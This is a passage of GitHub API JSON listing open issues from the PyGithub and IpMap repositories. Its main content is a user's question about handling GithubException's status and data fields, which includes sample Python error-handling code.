Github/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":""},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/152","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/152/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/152/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/152/events","html_url":"https://github.com/jacquev6/PyGithub/issues/152","id":12541184,"number":152,"title":"How to work with the GithubException object","user":{"login":"pconrad","id":1119017,"avatar_url":"https://secure.gravatar.com/avatar/6ede7481097854b3ad4841f745fcc487?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"6ede7481097854b3ad4841f745fcc487","url":"https://api.github.com/users/pconrad","html_url":"https://github.com/pconrad","followers_url":"https://api.github.com/users/pconrad/followers","following_url":"https://api.github.com/users/pconrad/following{/other_user}","gists_url":"https://api.github.com/users/pconrad/gists{/gist_id}","starred_url":"https://api.github.com/users/pconrad/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pconrad/subscriptions","organizations_url":"https://api.github.com/users/pconrad/orgs","repos_url":"https://api.github.com/users/pconrad/repos","events_url":"https://api.github.com/users/pconrad/events{/privacy}","received_events_url":"https://api.github.com/users/pconrad/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Question","name":"Question","color":"02e10c"}],"state":"open","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/25","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/25/labels","id":318564,"number":25,"title":"Version 1.15.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":3,"closed_issues":0,"state":"open","created_at":"2013-04-22T20:31:42Z","updated_at":"2013-05-17T11:20:54Z","due_on":null},"comments":10,"created_at":"2013-03-27T23:17:29Z","updated_at":"2013-05-04T08:00:03Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"I have a question about how to work with the GithubException object\r\n\r\nSample Code:\r\n try:\r\n team = org.create_team(teamName,\r\n [],\r\n \"push\");\r\n except GithubException as e:\r\n print (e)\r\n\r\nWhen I print (e) I get:\r\n\r\n 422 {u'message': u'Validation Failed', u'errors': [{u'field': u'name', u'code': u'already_exists', u'resource': u'Team'}]}\r\n\r\nWhat I'd like to be able to do is see the list of attributes and member functions of the GithubException object so that I can pull out various stuff to check for particular events... but I can'f find this in the documentation for the PyGithub API. Maybe I just need to understand better the relationship between the PyGithub API and the underlying github RESTful API.\r\n\r\nFrom the source, it appears that there are two properties of the GithubException object:\r\n\r\nhttps://github.com/jacquev6/PyGithub/blob/master/github/GithubException.py\r\n\r\n status\r\n data\r\n\r\nand putting that together with the output, it appears the 422 is the status (perhaps returned by the API?), and the data is a dictionary object (perhaps an encoding of the JSON that got returned?) but these are only guesses. \r\n\r\nIt appears that the only place GithubException occurs in the source is in Requester.py---and this tends to confirm my guesses.\r\n\r\nIs there somewhere in the documentation for the github API itself where one can find the keys that one would expect to find in the JSON object, i.e. in this case \"message\", \"errors\", and then within \"errors\", \"field\", \"code\", \"and \"resource\"? \r\n\r\nFrom trial and error guesswork, I settled on code like this, but this feels \"hacky---I'd be more comfortable if I knew whether I was doing this right...\r\n\r\n team = False # Sentinel to see if it succeeded or failed\r\n try:\r\n team = org.create_team(teamName,\r\n [],\r\n \"push\");\r\n print(\" team {0} created...\".format(teamName),end='')\r\n except GithubException as e:\r\n if (e.data['errors'][0]['code']=='already_exists'):\r\n print(\" team {0} already exists...\".format(teamName),end='') \r\n else:\r\n print (e)\r\n\r\n if (team != False):\r\n # do something with team...\r\n\r\nAm I on the right track?\r\n"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/136","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/136/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/136/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/136/events","html_url":"https://github.com/jacquev6/PyGithub/issues/136","id":10586808,"number":136,"title":"Dynamically create a NamedUser or Organization where needed","user":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Public+interface","name":"Public interface","color":"d7e102"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"}],"state":"open","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/20","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/20/labels","id":258798,"number":20,"title":"Version 2.0","description":"First set of breaking changes","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":1,"closed_issues":0,"state":"open","created_at":"2013-02-03T17:39:55Z","updated_at":"2013-02-03T17:43:22Z","due_on":null},"comments":0,"created_at":"2013-02-03T17:43:22Z","updated_at":"2013-02-03T17:43:22Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"For example, PullRequest.head.user can be an Organization (see tests reproducing #131)"},{"url":"https://api.github.com/repos/jacquev6/IpMap/issues/4","labels_url":"https://api.github.com/repos/jacquev6/IpMap/issues/4/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/IpMap/issues/4/comments","events_url":"https://api.github.com/repos/jacquev6/IpMap/issues/4/events","html_url":"https://github.com/jacquev6/IpMap/issues/4","id":6741461,"number":4,"title":"Filter by geography","user":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"labels":[],"state":"open","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":null,"comments":0,"created_at":"2012-09-09T10:05:47Z","updated_at":"2012-09-09T10:05:47Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":4835930,"name":"IpMap","full_name":"jacquev6/IpMap","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/IpMap","description":"HTML5 browsable IP map inspired by http://xkcd.com/195/","fork":false,"url":"https://api.github.com/repos/jacquev6/IpMap","forks_url":"https://api.github.com/repos/jacquev6/IpMap/forks","keys_url":"https://api.github.com/repos/jacquev6/IpMap/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/IpMap/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/IpMap/teams","hooks_url":"https://api.github.com/repos/jacquev6/IpMap/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/IpMap/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/IpMap/events","assignees_url":"https://api.github.com/repos/jacquev6/IpMap/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/IpMap/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/IpMap/tags","blobs_url":"https://api.github.com/repos/jacquev6/IpMap/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/IpMap/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/IpMap/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/IpMap/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/IpMap/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/IpMap/languages","stargazers_url":"https://api.github.com/repos/jacquev6/IpMap/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/IpMap/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/IpMap/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/IpMap/subscription","commits_url":"https://api.github.com/repos/jacquev6/IpMap/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/IpMap/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/IpMap/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/IpMap/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/IpMap/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/IpMap/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/IpMap/merges","archive_url":"https://api.github.com/repos/jacquev6/IpMap/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/IpMap/downloads","issues_url":"https://api.github.com/repos/jacquev6/IpMap/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/IpMap/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/IpMap/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/IpMap/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/IpMap/labels{/name}","created_at":"2012-06-29T18:54:23Z","updated_at":"2013-01-10T21:36:10Z","pushed_at":"2012-09-09T19:35:42Z","git_url":"git://github.com/jacquev6/IpMap.git","ssh_url":"git@github.com:jacquev6/IpMap.git","clone_url":"https://github.com/jacquev6/IpMap.git","svn_url":"https://github.com/jacquev6/IpMap","homepage":"http://vincent-jacques.net/IpMap","size":144,"watchers_count":0,"language":"JavaScript","has_issues":true,"has_downloads":true,"has_wiki":false,"forks_count":0,"mirror_url":null,"open_issues_count":4,"forks":0,"open_issues":4,"watchers":0,"master_branch":"master","default_branch":"master"},"body":""},{"url":"https://api.github.com/repos/jacquev6/IpMap/issues/3","labels_url":"https://api.github.com/repos/jacquev6/IpMap/issues/3/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/IpMap/issues/3/comments","events_url":"https://api.github.com/repos/jacquev6/IpMap/issues/3/events","html_url":"https://github.com/jacquev6/IpMap/issues/3","id":6741457,"number":3,"title":"Display more detailed information in each square","user":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"labels":[],"state":"open","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":null,"comments":0,"created_at":"2012-09-09T10:04:46Z","updated_at":"2012-09-09T10:04:46Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":4835930,"name":"IpMap","full_name":"jacquev6/IpMap","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/IpMap","description":"HTML5 browsable IP map inspired by 